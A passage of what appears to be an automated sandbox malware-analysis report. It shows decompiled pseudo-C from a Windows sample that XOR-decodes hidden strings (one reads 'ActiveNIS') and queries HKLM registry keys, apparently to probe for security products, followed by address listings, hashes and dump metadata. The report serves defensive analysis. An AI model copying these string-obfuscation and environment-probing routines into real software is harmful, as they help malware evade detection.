					 *((intOrPtr*)(_t579 + _t434 + 0x86)) =  *((intOrPtr*)(_t579 + _t434 + 0x86)) +  *((intOrPtr*)(_t579 + _t434 + 0x66));
					 *((intOrPtr*)(_t579 + _t434 + 0x87)) =  *((intOrPtr*)(_t579 + _t434 + 0x87)) +  *((intOrPtr*)(_t579 + _t434 + 0x67));
					_t434 = _t434 + 4;
					_t509 = _t509 + 0x1b4;
				} while (_t434 < 0x20);
				 *0x431f38 = _t509;
				_v184 = 0xdb;
				_v178 = 0xf2;
				_v176 = 0xf2;
				_v240 = 0xf2;
				_push(__edi);
				_v168 = 0xf8;
				_v247 = 0xf8;
				_v244 = 0x87;
				_v239 = 0x87;
				_push( &_v184);
				_t437 = 0x12;
				_v183 = 0x6b;
				_v182 = 0x8c;
				_v181 = 0xdf;
				_v180 = 0x11;
				_v179 = 0x4d;
				_v177 = 0x60;
				_v175 = 0xf6;
				_v174 = 0xfc;
				_v173 = 0x1a;
				_v172 = 0x4e;
				_v171 = 0x98;
				_v170 = 0x3f;
				_v169 = 0xc1;
				_v167 = 0xf4;
				_v252 = 0xbc;
				_v251 = 0xf5;
				_v250 = 0x9b;
				_v249 = 0xef;
				_v248 = 0x8a;
				_v246 = 0x96;
				_v245 = 0xf3;
				_v243 = 0xa7;
				_v242 = 0xf4;
				_v241 = 0x91;
				_v238 = 0xf5;
				_v237 = 0x9c;
				_v236 = 0xe8;
				_v235 = 0x91;
				_t438 = E0041E250(_t437,  &_v252);
				_v43 = 0xf3;
				_t563 = _t438;
				_v44 = 0xf4;
				_v42 = 0x36;
				_v41 = 0xbb;
				_v40 = 0x66;
				_v39 = 0x92;
				_v38 = 0x38;
				_v37 = 0x7e;
				_v36 = 0x9e;
				_v35 = 0xe6;
				_v34 = 0xcd;
				_v33 = 0x71;
				_v32 = 0x7a;
				_v31 = 0x5c;
				_v30 = 0x6d;
				_v29 = 0xbc;
				_v28 = 0x12;
				_v27 = 0xaa;
				_v26 = 0x36;
				_v25 = 0xfb;
				_v24 = 0x7e;
				_v23 = 0x11;
				_v22 = 6;
				_v21 = 0xf7;
				_v20 = 0x6a;
				_v19 = 0x36;
				_v18 = 0xac;
				_v17 = 0x31;
				_v16 = 0xcf;
				_v15 = 0x85;
				_v14 = 0xae;
				_v256 = 0xe;
				_v246 = 0xe;
				_push( &_v44);
				_t440 = 0x24;
				_v13 = 0x1d;
				_v12 = 0x85;
				_v11 = 0xc;
				_v10 = 0x64;
				_v9 = 0xd8;
				_v255 = 0x5d;
				_v254 = 0x12;
				_v253 = 0x54;
				_v252 = 0;
				_v251 = 0x57;
				_v250 = 0x16;
				_v249 = 0x44;
				_v248 = 1;
				_v247 = 0x5d;
				_v245 = 0x77;
				_v244 = 0x1a;
				_v243 = 0x7b;
				_v242 = 0x15;
				_v241 = 0x61;
				_v240 = 4;
				_v239 = 0x67;
				_v238 = 0x3b;
				_v237 = 0x72;
				_v236 = 0x1c;
				_v235 = 0x68;
				_v234 = 0xd;
				_v233 = 0x7f;
				_v232 = 0x11;
				_v231 = 0x74;
				_v230 = 0;
				_v229 = 0x20;
				_v228 = 0x73;
				_v227 = 0x16;
				_v226 = 0x75;
				_v225 = 0;
				_v224 = 0x72;
				_v223 = 0x1b;
				_v222 = 0x6f;
				_v221 = 0x16;
				_t576 = E0041E250(_t440,  &_v256);
				_v222 = 0xb1;
				_v218 = 0xb1;
				_v208 = 0xef;
				_v207 = 0x38;
				_v206 = 0xd8;
				_v205 = 0x57;
				_v204 = 0x1f;
				_v203 = 0x95;
				_v202 = 0xc6;
				_v201 = 0xc0;
				_v200 = 0xf7;
				_v199 = 0x36;
				_v198 = 0x10;
				_v197 = 0xd0;
				_v196 = 0xcb;
				_v195 = 0xe6;
				_v194 = 0x63;
				_v224 = 0xbc;
				_v223 = 0x4d;
				_v221 = 0x23;
				_v220 = 0x7a;
				_v219 = 0xda;
				_v217 = 0xae;
				_v216 = 0x92;
				_v215 = 0x44;
				_v214 = 0x57;
				_v213 = 0xa5;
				_v212 = 0xa2;
				_v211 = 0x82;
				_v210 = 0x63;
				_t443 = 0;
				do {
					 *(_t579 + _t443 + 0x58) =  *(_t579 + _t443 + 0x58) ^  *(_t579 + _t443 + 0x48);
					 *(_t579 + _t443 + 0x59) =  *(_t579 + _t443 + 0x59) ^  *(_t579 + _t443 + 0x49);
					 *(_t579 + _t443 + 0x5a) =  *(_t579 + _t443 + 0x5a) ^  *(_t579 + _t443 + 0x4a);
					 *(_t579 + _t443 + 0x5b) =  *(_t579 + _t443 + 0x5b) ^  *(_t579 + _t443 + 0x4b);
					 *(_t579 + _t443 + 0x5c) =  *(_t579 + _t443 + 0x5c) ^  *(_t579 + _t443 + 0x4c);
					_t443 = _t443 + 5;
				} while (_t443 < 0xf);
				_t444 =  *0x431f34; // 0x32
				_t568 = 0x32;
				 *0x431f34 = _t444 + _t568;
				_v246 = 0x78;
				_v240 = 0x78;
				_v252 = 0x4e;
				_v251 = 0x64;
				_v250 = 0x70;
				_v249 = 0x7c;
				_v248 = 0x73;
				_v247 = 0x69;
				_v245 = 0x7e;
				_v244 = 0x3d;
				_v243 = 0x5e;
				_v242 = 0x72;
				_v241 = 0x6f;
				_v239 = 0x3d;
				_v238 = 0x51;
				_v237 = 0x5e;
				_v236 = 0x1d;
				_t447 = 0;
				do {
					 *(_t579 + _t447 + 0x24) =  *(_t579 + _t447 + 0x24) ^ 0x0000001d;
					_t447 = _t447 + 1;
				} while (_t447 < 0x11);
				_v103 = 0xc3;
				_v99 = 0xc3;
				_v118 = 0xf1;
				_v92 = 0x94;
				_v80 = 0xf1;
				_v77 = 0x94;
				_v120 = 0x8a;
				_v119 = 0x26;
				_v117 = 0xa3;
				_v116 = 0xc8;
				_v115 = 0xed;
				_v114 = 0x36;
				_v113 = 0x1e;
				_v112 = 0x25;
				_v111 = 0x12;
				_v110 = 0x52;
				_v109 = 0x96;
				_v108 = 0xad;
				_v107 = 0x9e;
				_v106 = 0xbf;
				_v105 = 0x75;
				_v104 = 0xdd;
				_v102 = 0xce;
				_v101 = 0x7d;
				_v100 = 0xa8;
				_v98 = 0x95;
				_v97 = 0x7b;
				_v96 = 0xa8;
				_v95 = 0;
				_v94 = 0x35;
				_v93 = 0x16;
				_v91 = 0x19;
				_v90 = 0x2f;
				_v89 = 0xd6;
				_v88 = 0x67;
				_v87 = 0x14;
				_v86 = 0x50;
				_v85 = 0xf4;
				_v84 = 0x54;
				_v83 = 0x88;
				_v82 = 0xfc;
				_v79 = 0x60;
				_v78 = 0xc1;
				_v76 = 0xfb;
				_v75 = 0xaf;
				_v74 = 0x72;
				_v73 = 0x5d;
				_v72 = 0x1c;
				_v71 = 0x3f;
				_v70 = 0x62;
				_v69 = 0xd2;
				_v68 = 0x9b;
				_v67 = 0xa9;
				_v66 = 0x92;
				_v65 = 0x41;
				_v64 = 0x9b;
				_v63 = 0x85;
				_v62 = 0xfe;
				_v61 = 0x50;
				_v60 = 0x90;
				_v59 = 0xf4;
				_v58 = 0xac;
				_v57 = 0x3e;
				_v56 = 0x85;
				_v55 = 0x32;
				_v54 = 2;
				_v53 = 0x24;
				_v52 = 0xa0;
				_v51 = 0x28;
				_v50 = 0x6c;
				_v49 = 0xee;
				_v48 = 0x53;
				_v47 = 0x27;
				_v46 = 0x68;
				_v45 = 0xc6;
				_v44 = 0x6c;
				_v43 = 0xf5;
				_v42 = 0xfc;
				_t451 = 0;
				do {
					 *(_t579 + _t451 + 0xa8) =  *(_t579 + _t451 + 0xa8) ^  *(_t579 + _t451 + 0xd0);
					 *(_t579 + _t451 + 0xa9) =  *(_t579 + _t451 + 0xa9) ^  *(_t579 + _t451 + 0xd1);
					 *(_t579 + _t451 + 0xaa) =  *(_t579 + _t451 + 0xaa) ^  *(_t579 + _t451 + 0xd2);
					_t451 = _t451 + 3;
				} while (_t451 < 0x27);
				_t452 =  *0x431f38; // 0x2d2c
				_t503 =  *0x431f34; // 0x32
				 *0x431f34 = _t503 + _t568;
				_v216 = 0x41;
				_v215 = 0x63;
				_v214 = 0x74;
				_v213 = 0x69;
				_v212 = 0x76;
				_v211 = 0x65;
				_v210 = 0x4e;
				_v209 = 0x49;
				_v208 = 0x53;
				_v207 = 0;
				 *0x431f38 = _t452 + 0x442;
				_v264 = 0xff;
				_v260 = 0;
				_v268 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t466 = RegOpenKeyExA(0x80000002,  &_v152, 0, 1,  &_v272); // executed
				if(_t466 == 0) {
					_t505 = _v256;
				} else {
					_t491 = GetLastError();
					_t505 = _v256;
					 *(_t505 + 0x74) = _t491;
				}
				if(RegQueryValueExA(_v272, _t563, 0,  &_v260, _v268,  &_v264) == 0) {
					 *((intOrPtr*)(_t505 + 0x70)) = 0x17;
					 *(_t505 + 0x78) = 1;
				} else {
					 *(_t505 + 0x74) = GetLastError();
				}
				RegCloseKey(_v272);
				_t472 = RegOpenKeyExA(0x80000002, _t576, 0, 1,  &_v272); // executed
				if(_t472 != 0) {
					 *(_t505 + 0x74) = GetLastError();
				}
				_t475 = RegQueryValueExA(_v272,  &_v200, 0,  &_v260, _v268,  &_v264);
				_t577 = _t576 | 0xffffffff;
				if(_t475 == 0) {
					_push(_v268);
					 *0x431f34 = 0x6d;
					_t570 =  &_v120;
					_t476 = E0042CFCE(_t505, 0x7d6, _t570, __eflags);
					while(1) {
						_t554 =  *_t476;
						_t528 = _t554;
						__eflags = _t554 -  *_t570;
						if(_t554 !=  *_t570) {
							break;
						}
						__eflags = _t528;
						if(_t528 == 0) {
							L23:
							_t476 = 0;
							L25:
							__eflags = _t476;
							if(_t476 == 0) {
								 *(_t505 + 0x64) = 0x7d6;
							}
							goto L27;
						}
						_t561 =  *((intOrPtr*)(_t476 + 1));
						_t540 = _t561;
						__eflags = _t561 -  *((intOrPtr*)(_t570 + 1));
						if(_t561 !=  *((intOrPtr*)(_t570 + 1))) {
							break;
						}
						_t476 = _t476 + 2;
						_t570 = _t570 + 2;
						__eflags = _t540;
						if(_t540 != 0) {
							continue;
						}
						goto L23;
					}
					asm("sbb eax, eax");
					asm("sbb eax, ebp");
					goto L25;
				} else {
					 *(_t505 + 0x74) = GetLastError();
					 *0x431f2c = 0x5a;
					L27:
					_t529 =  *0x431f30;
					_t555 =  *0x431f2c; // 0x0
					 *0x431f30 = 0x3d;
					_t478 = 0x77 - _t529;
					 *0x431f38 = _t478;
					 *0x431f34 = (_t478 & 0x0000ffff) << 2;
					_t532 = _t529 + _t555 + 0x0000000b & 0x00000016;
					if( *(_t505 + 0x64) != 0x7d6) {
						 *(_t505 + 0x64) = _t577;
						 *(_t505 + 0x68) = _t577;
						 *(_t505 + 0x6c) = _t577;
						_t478 =  *0x431f38; // 0x2d2c
					}
					_t571 =  *0x431f2c; // 0x0
					 *0x431f2c = _t571 & _t532 * (_t478 & 0x0000ffff) - 0x00000043;
					_t423 = _t505 + 0x74; // 0x173
					_t573 = _t423;
					 *0x431f34 = 0x6d;
					 *0x431f38 = 0x3a;
					 *((intOrPtr*)(_t505 + 0x7c)) = E0041F020( &_v252, _t423);
					 *((intOrPtr*)(_t505 + 0x80)) = E0041F100(_t505,  &_v224, _t573);
					HeapFree(GetProcessHeap(), 0, _v284);
					RegCloseKey(_v288);
					return E00424873(0, _v20);
				}
			}

0x00420570
0x00420576
0x0042057b
0x00420586
0x0042058a
0x0042058e
0x00420594
0x0042059d
0x0042059e
0x004205a5
0x004205ab
0x004205ac
0x004205b3
0x004205b7
0x004205be
0x004205c2
0x004205c6
0x004205ce
0x004205d6
0x004205de
0x004205e6
0x004205ee
0x004205f6
0x004205fe
0x00420606
0x0042060e
0x00420616
0x0042061e
0x00420626
0x0042062e
0x00420636
0x0042063e
0x00420646
0x0042064e
0x00420656
0x0042065e
0x00420666
0x0042066e
0x00420676
0x0042067e
0x00420686
0x0042068e
0x00420696
0x0042069e
0x004206a3
0x004206a8
0x004206ad
0x004206b2
0x004206b7
0x004206bc
0x004206c1
0x004206c6
0x004206cb
0x004206d0
0x004206d5
0x004206da
0x004206df
0x004206e4
0x004206e9
0x004206ed
0x004206f2
0x004206f7
0x004206fc
0x00420701
0x00420706
0x0042070b
0x00420710
0x00420715
0x0042071a
0x0042071f
0x00420724
0x00420729
0x0042072b
0x00420730
0x00420734
0x0042073f
0x0042074a
0x00420755
0x00420768
0x0042076b
0x0042076f
0x00420776
0x0042077f
0x00420783
0x00420787
0x0042078b
0x00420791
0x00420796
0x0042079a
0x004207a0
0x004207a4
0x004207a8
0x004207b3
0x004207b4
0x004207b9
0x004207be
0x004207c3
0x004207c8
0x004207cd
0x004207d2
0x004207d7
0x004207dc
0x004207e1
0x004207e6
0x004207eb
0x004207f0
0x004207f5
0x004207fa
0x004207ff
0x00420804
0x00420809
0x0042080e
0x00420813
0x00420818
0x0042081c
0x00420821
0x00420826
0x0042082a
0x0042082f
0x00420834
0x00420839
0x0042083d
0x00420842
0x0042084b
0x0042084d
0x00420855
0x0042085c
0x00420864
0x0042086c
0x00420874
0x0042087c
0x00420884
0x0042088c
0x00420894
0x0042089c
0x004208a4
0x004208ac
0x004208b4
0x004208bc
0x004208c4
0x004208cc
0x004208d4
0x004208db
0x004208e3
0x004208eb
0x004208f3
0x004208fb
0x00420903
0x0042090b
0x00420912
0x0042091a
0x00420922
0x0042092a
0x00420932
0x00420943
0x00420947
0x0042094b
0x00420954
0x00420955
0x0042095d
0x00420965
0x0042096d
0x00420975
0x0042097d
0x00420982
0x00420987
0x0042098c
0x00420991
0x00420996
0x0042099b
0x004209a0
0x004209a5
0x004209aa
0x004209af
0x004209b4
0x004209b9
0x004209be
0x004209c3
0x004209c8
0x004209cd
0x004209d2
0x004209d7
0x004209dc
0x004209e1
0x004209e6
0x004209eb
0x004209f0
0x004209f5
0x004209fa
0x004209ff
0x00420a04
0x00420a09
0x00420a0e
0x00420a13
0x00420a18
0x00420a1d
0x00420a22
0x00420a2c
0x00420a32
0x00420a36
0x00420a3a
0x00420a3f
0x00420a44
0x00420a49
0x00420a4e
0x00420a53
0x00420a57
0x00420a5c
0x00420a61
0x00420a66
0x00420a6a
0x00420a6f
0x00420a74
0x00420a79
0x00420a7e
0x00420a83
0x00420a88
0x00420a8d
0x00420a92
0x00420a97
0x00420a9c
0x00420aa1
0x00420aa6
0x00420aab
0x00420ab0
0x00420ab5
0x00420aba
0x00420abf
0x00420ac4
0x00420ad0
0x00420ad4
0x00420adc
0x00420ae4
0x00420aec
0x00420af4
0x00420af8
0x00420afb
0x00420b00
0x00420b09
0x00420b0c
0x00420b13
0x00420b17
0x00420b1b
0x00420b20
0x00420b25
0x00420b2a
0x00420b2f
0x00420b34
0x00420b39
0x00420b3e
0x00420b43
0x00420b48
0x00420b4d
0x00420b52
0x00420b57
0x00420b5c
0x00420b61
0x00420b66
0x00420b70
0x00420b70
0x00420b75
0x00420b76
0x00420b7f
0x00420b86
0x00420b8f
0x00420b96
0x00420b9d
0x00420ba4
0x00420baf
0x00420bb7
0x00420bbf
0x00420bc7
0x00420bcf
0x00420bd7
0x00420bde
0x00420be6
0x00420bee
0x00420bf6
0x00420bfe
0x00420c06
0x00420c0e
0x00420c16
0x00420c1e
0x00420c26
0x00420c2e
0x00420c36
0x00420c3e
0x00420c46
0x00420c4d
0x00420c55
0x00420c5d
0x00420c65
0x00420c6d
0x00420c75
0x00420c7d
0x00420c85
0x00420c8d
0x00420c95
0x00420c9d
0x00420ca5
0x00420cad
0x00420cb5
0x00420cbd
0x00420cc5
0x00420ccd
0x00420cd5
0x00420cdd
0x00420ce5
0x00420ced
0x00420cf5
0x00420cfd
0x00420d05
0x00420d0d
0x00420d15
0x00420d1d
0x00420d25
0x00420d2d
0x00420d34
0x00420d3c
0x00420d44
0x00420d4c
0x00420d54
0x00420d5c
0x00420d64
0x00420d6c
0x00420d74
0x00420d7c
0x00420d84
0x00420d8c
0x00420d94
0x00420d9c
0x00420da4
0x00420dab
0x00420db3
0x00420dbb
0x00420dc3
0x00420dcb
0x00420dd3
0x00420dda
0x00420de2
0x00420dea
0x00420df0
0x00420e07
0x00420e1e
0x00420e25
0x00420e2c
0x00420e2f
0x00420e34
0x00420e3a
0x00420e71
0x00420e77
0x00420e7b
0x00420e80
0x00420e85
0x00420e8a
0x00420e8f
0x00420e94
0x00420e99
0x00420e9e
0x00420ea3
0x00420ea8
0x00420eae
0x00420eb6
0x00420ed1
0x00420eeb
0x00420eef
0x00420f00
0x00420ef1
0x00420ef1
0x00420ef7
0x00420efb
0x00420efb
0x00420f25
0x00420f32
0x00420f39
0x00420f27
0x00420f2d
0x00420f2d
0x00420f45
0x00420f5a
0x00420f5e
0x00420f66
0x00420f66
0x00420f84
0x00420f86
0x00420f90
0x00420fab
0x00420fac
0x00420fb6
0x00420fbd
0x00420fc5
0x00420fc5
0x00420fc7
0x00420fc9
0x00420fcb
0x00000000
0x00000000
0x00420fcd
0x00420fcf
0x00420fe5
0x00420fe5
0x00420fed
0x00420fed
0x00420fef
0x00420ff1
0x00420ff1
0x00000000
0x00420fef
0x00420fd1
0x00420fd4
0x00420fd6
0x00420fd9
0x00000000
0x00000000
0x00420fdb
0x00420fde
0x00420fe1
0x00420fe3
0x00000000
0x00000000
0x00000000
0x00420fe3
0x00420fe9
0x00420feb
0x00000000
0x00420f92
0x00420f98
0x00420f9b
0x00420ff4
0x00420ff4
0x00420ffc
0x00421007
0x0042100e
0x0042101b
0x00421021
0x0042102a
0x00421030
0x00421032
0x00421035
0x00421038
0x0042103b
0x0042103b
0x00421041
0x00421055
0x0042105b
0x0042105b
0x00421066
0x00421070
0x00421086
0x00421095
0x004210a2
0x004210ad
0x004210ca
0x004210ca

Strings

?, xrefs: 004207EB
P, xrefs: 00420D4C
P, xrefs: 00420C9D
r, xrefs: 00420B48
{, xrefs: 004209B4
?, xrefs: 00420CFD
=, xrefs: 00420B3E
W, xrefs: 00420A49
8, xrefs: 00420874
P, xrefs: 0042064E
8, xrefs: 00420A3F
;, xrefs: 004209CD
S, xrefs: 00420E9E
], xrefs: 00420CED
P, xrefs: 0042071A
, xrefs: 0042067E
H, xrefs: 004206AD
&, xrefs: 004206C6
e, xrefs: 00420E8F
z, xrefs: 00420A92
i, xrefs: 00420B34
\, xrefs: 004208AC
i, xrefs: 0042066E
u, xrefs: 00420C1E
N, xrefs: 00420626
g, xrefs: 00420C8D
r, xrefs: 00420A13
a, xrefs: 004209BE
f, xrefs: 00420864
N, xrefs: 00420B1B
c, xrefs: 00420A7E
v, xrefs: 00420676
s, xrefs: 004209FF
r, xrefs: 004209D2
7, xrefs: 004206FC
m, xrefs: 004208B4
b, xrefs: 00420724
`, xrefs: 004207CD
u, xrefs: 00420A09
b, xrefs: 00420D05
M, xrefs: 004207C8
z, xrefs: 004208A4
~, xrefs: 004208E3
$, xrefs: 00420D8C
), xrefs: 0042060E
p, xrefs: 0042068E
v, xrefs: 00420E8A
t, xrefs: 004209F0
D, xrefs: 004206CB
#, xrefs: 00420A8D
^, xrefs: 00420B43
%, xrefs: 00420BE6
, xrefs: 004209FA
S, xrefs: 00420606
d, xrefs: 0042096D
s|pd, xrefs: 0042094C
, xrefs: 004206DF
d, xrefs: 00420B20
h, xrefs: 00420DC3
&, xrefs: 004206DA
r, xrefs: 00420CE5
k, xrefs: 004207B4
s, xrefs: 00420B2F
q, xrefs: 0042089C
', xrefs: 00420DBB
I, xrefs: 00420E99
~, xrefs: 0042087C
T, xrefs: 004205C6
2, xrefs: 00420D7C
`, xrefs: 00420CC5
>, xrefs: 00420D6C
N, xrefs: 004207E1
^, xrefs: 00420B5C
c, xrefs: 00420E7B
P, xrefs: 004205F6
t, xrefs: 00420E80
o, xrefs: 00420B4D
p, xrefs: 00420B25
h, xrefs: 004209DC
&, xrefs: 00420BB7
|, xrefs: 004205CE
{, xrefs: 00420C4D
R, xrefs: 00420BF6
^, xrefs: 004206B7
N, xrefs: 00420E94
g, xrefs: 004209C8
|, xrefs: 00420B2A
}, xrefs: 00420C36
(, xrefs: 00420D9C
T, xrefs: 00420CAD
M, xrefs: 00420A88
S, xrefs: 00420DB3
$, xrefs: 004206F7
j, xrefs: 00420903
i, xrefs: 00420E85
0, xrefs: 00420686
1, xrefs: 0042091A
o, xrefs: 00420A1D
=, xrefs: 00420B52
Q, xrefs: 00420B57
^c, xrefs: 00420751
5, xrefs: 00420C65
/, xrefs: 00420C7D
*, xrefs: 00420656
#, xrefs: 004206A3
~, xrefs: 00420B39
|, xrefs: 004205E6

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $ $ $#$#$$$$$%$&$&$&$'$($)$*$/$0$1$2$5$7$8$8$;$=$=$>$?$?$D$H$I$M$M$N$N$N$N$P$P$P$P$P$Q$R$S$S$S$T$T$W$\$]$^$^$^$^c$`$`$a$b$b$c$c$d$d$e$f$g$g$h$h$i$i$i$j$k$m$o$o$p$p$q$r$r$r$r$s$s$s|pd$t$t$u$u$v$v$z$z${${$|$|$|$}$~$~$~
API String ID: 0-2533205990
Opcode ID: 1ebb2721c321868a483593ff23e542fe19c9ae823ff3c0ac3ec3a26e0fa2ffbc
Instruction ID: 5426c7220d1ecb17d5bc759c81712f3e1ccd9340dd9071cac4673b27015d8757
Opcode Fuzzy Hash: 1ebb2721c321868a483593ff23e542fe19c9ae823ff3c0ac3ec3a26e0fa2ffbc
Instruction Fuzzy Hash: BC62C32010D7C189D332C77C984879FBFD15BA7328F584A9DE1E85B2E3D2AA8149C767

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD50, Relevance: 105.4, APIs: 9, Strings: 51, Instructions: 377
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E0041FD50(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t233;
				void* _t237;
				void* _t243;
				signed short _t245;
				long _t258;
				signed int _t261;
				signed int _t262;
				void* _t265;
				void* _t267;
				signed int _t268;
				void* _t270;
				intOrPtr _t281;
				intOrPtr _t282;
				intOrPtr _t283;
				void* _t288;
				void* _t293;
				signed int _t295;
				signed int _t298;
				signed char _t299;
				signed char _t301;
				void* _t323;
				signed char _t325;
				signed int _t328;
				void* _t332;
				signed int _t335;
				signed int _t336;
				signed int _t337;
				signed short _t338;
				signed int _t341;
				char* _t343;
				void* _t345;
				void* _t346;
				void* _t347;

				_t233 =  *0x4310d8; // 0xd0c2a9a8
				 *((intOrPtr*)(_t345 + 0xb4)) = _t233;
				_push(__esi);
				_push(__edi);
				_push(__ecx);
				_pop(_t332);
				 *((char*)(_t345 + 0x44)) = 0x92;
				 *((char*)(_t345 + 0x4a)) = 0x92;
				 *((char*)(_t345 + 0x53)) = 0x92;
				 *((char*)(_t345 + 0x34)) = 0x78;
				 *((char*)(_t345 + 0x43)) = 0x78;
				 *((char*)(_t345 + 0x4e)) = 0xd2;
				 *((char*)(_t345 + 0x55)) = 0x85;
				 *((char*)(_t345 + 0x59)) = 0x85;
				 *((char*)(_t345 + 0x5e)) = 0xd2;
				 *((char*)(_t345 + 0x69)) = 0x78;
				 *((char*)(_t345 + 0x30)) = 0x7b;
				 *((char*)(_t345 + 0x31)) = 0x3a;
				 *((char*)(_t345 + 0x32)) = 0x59;
				 *((char*)(_t345 + 0x33)) = 0xfe;
				 *((char*)(_t345 + 0x35)) = 0xb0;
				 *((char*)(_t345 + 0x36)) = 0xb1;
				 *((char*)(_t345 + 0x37)) = 0x27;
				 *((char*)(_t345 + 0x38)) = 0x34;
				 *((char*)(_t345 + 0x39)) = 0xf8;
				 *((char*)(_t345 + 0x3a)) = 0x7f;
				 *((char*)(_t345 + 0x3b)) = 0x7a;
				 *(_t345 + 0x3c) = 6;
				 *((char*)(_t345 + 0x3d)) = 0x30;
				 *((char*)(_t345 + 0x3e)) = 0xcb;
				 *((char*)(_t345 + 0x3f)) = 0xef;
				 *((char*)(_t345 + 0x40)) = 0x87;
				 *((char*)(_t345 + 0x41)) = 0xae;
				 *((char*)(_t345 + 0x42)) = 0xc9;
				 *((char*)(_t345 + 0x45)) = 0x32;
				 *((char*)(_t345 + 0x46)) = 0xab;
				 *((char*)(_t345 + 0x47)) = 0x86;
				 *((char*)(_t345 + 0x48)) = 0x63;
				 *((char*)(_t345 + 0x49)) = 0x79;
				 *((char*)(_t345 + 0x4b)) = 0x5c;
				 *((char*)(_t345 + 0x4c)) = 0x91;
				 *((char*)(_t345 + 0x4d)) = 0xf3;
				 *((char*)(_t345 + 0x4f)) = 0xbf;
				 *((char*)(_t345 + 0x50)) = 0xb5;
				 *((char*)(_t345 + 0x51)) = 0x53;
				 *((char*)(_t345 + 0x52)) = 0xa2;
				 *((char*)(_t345 + 0x54)) = 0x76;
				 *((char*)(_t345 + 0x56)) = 0xd9;
				 *((char*)(_t345 + 0x57)) = 4;
				 *((char*)(_t345 + 0x58)) = 0x41;
				 *((char*)(_t345 + 0x5a)) = 0x70;
				 *((char*)(_t345 + 0x5b)) = 0x49;
				 *((char*)(_t345 + 0x5c)) = 0xf6;
				 *((char*)(_t345 + 0x5d)) = 0x7d;
				 *((char*)(_t345 + 0x5f)) = 0x94;
				 *((char*)(_t345 + 0x60)) = 0x4c;
				 *((char*)(_t345 + 0x61)) = 0x9d;
				 *((char*)(_t345 + 0x62)) = 0x33;
				 *((char*)(_t345 + 0x63)) = 0xc1;
				 *((char*)(_t345 + 0x64)) = 0xa1;
				 *((char*)(_t345 + 0x65)) = 0x3a;
				 *((char*)(_t345 + 0x66)) = 8;
				 *((char*)(_t345 + 0x67)) = 0x63;
				 *((char*)(_t345 + 0x68)) = 0x1d;
				 *((char*)(_t345 + 0x6a)) = 0xc1;
				 *((char*)(_t345 + 0x6b)) = 0x2f;
				 *((char*)(_t345 + 0x74)) = 0x28;
				 *((char*)(_t345 + 0x75)) = 0x75;
				 *((char*)(_t345 + 0x76)) = 0x1f;
				 *((char*)(_t345 + 0x77)) = 0xaa;
				 *((char*)(_t345 + 0x78)) = 0x2f;
				 *((char*)(_t345 + 0x79)) = 0xf1;
				 *((char*)(_t345 + 0x86)) = 0xaa;
				 *((char*)(_t345 + 0x87)) = 0x10;
				 *((char*)(_t345 + 0x8d)) = 0x10;
				 *((char*)(_t345 + 0x97)) = 0xc1;
				 *((char*)(_t345 + 0x8f)) = 0x2f;
				 *((char*)(_t345 + 0xaf)) = 0x2f;
				 *((char*)(_t345 + 0x7a)) = 0xe3;
				 *((char*)(_t345 + 0x7b)) = 0x62;
				 *((char*)(_t345 + 0x7c)) = 0x68;
				 *((char*)(_t345 + 0x7d)) = 0xab;
				 *((char*)(_t345 + 0x7e)) = 6;
				 *((char*)(_t345 + 0x7f)) = 0x1d;
				 *((char*)(_t345 + 0x80)) = 0x67;
				 *((char*)(_t345 + 0x81)) = 0x44;
				 *((char*)(_t345 + 0x82)) = 0xae;
				 *((char*)(_t345 + 0x83)) = 0xcf;
				 *((char*)(_t345 + 0x84)) = 0xd3;
				 *((char*)(_t345 + 0x85)) = 0xcb;
				 *((char*)(_t345 + 0x88)) = 0xfc;
				 *((char*)(_t345 + 0x89)) = 0x5d;
				 *((char*)(_t345 + 0x8a)) = 0xc7;
				 *((char*)(_t345 + 0x8b)) = 0xe9;
				 *((char*)(_t345 + 0x8c)) = 4;
				 *((char*)(_t345 + 0x8e)) = 0xf7;
				 *((char*)(_t345 + 0x90)) = 0xbd;
				 *((char*)(_t345 + 0x91)) = 0xd3;
				 *((char*)(_t345 + 0x92)) = 0x9b;
				 *((char*)(_t345 + 0x93)) = 0xd1;
				 *((char*)(_t345 + 0x94)) = 0xd6;
				 *((char*)(_t345 + 0x95)) = 0x7d;
				 *((char*)(_t345 + 0x96)) = 0xfe;
				 *((char*)(_t345 + 0x98)) = 0xf;
				 *((char*)(_t345 + 0x99)) = 0xe2;
				 *((char*)(_t345 + 0x9a)) = 0xb8;
				 *((char*)(_t345 + 0x9b)) = 0x70;
				 *((char*)(_t345 + 0x9c)) = 0x24;
				 *((char*)(_t345 + 0x9d)) = 0xa5;
				 *((char*)(_t345 + 0x9e)) = 0x20;
				 *((char*)(_t345 + 0x9f)) = 0x2c;
				 *((char*)(_t345 + 0xa0)) = 0x84;
				 *((char*)(_t345 + 0xa1)) = 0xe;
				 *((char*)(_t345 + 0xa2)) = 0xbd;
				 *((char*)(_t345 + 0xa3)) = 0xfa;
				 *((char*)(_t345 + 0xa4)) = 0x2d;
				 *((char*)(_t345 + 0xa5)) = 0xf1;
				 *((char*)(_t345 + 0xa6)) = 0x13;
				 *((char*)(_t345 + 0xa7)) = 0x87;
				 *((char*)(_t345 + 0xa8)) = 0xc8;
				 *((char*)(_t345 + 0xa9)) = 0x48;
				 *((char*)(_t345 + 0xaa)) = 0x6d;
				 *((char*)(_t345 + 0xab)) = 0x14;
				 *((char*)(_t345 + 0xac)) = 0x7c;
				 *((char*)(_t345 + 0xad)) = 0x14;
				 *((char*)(_t345 + 0xae)) = 0xad;
				_t237 = 0;
				do {
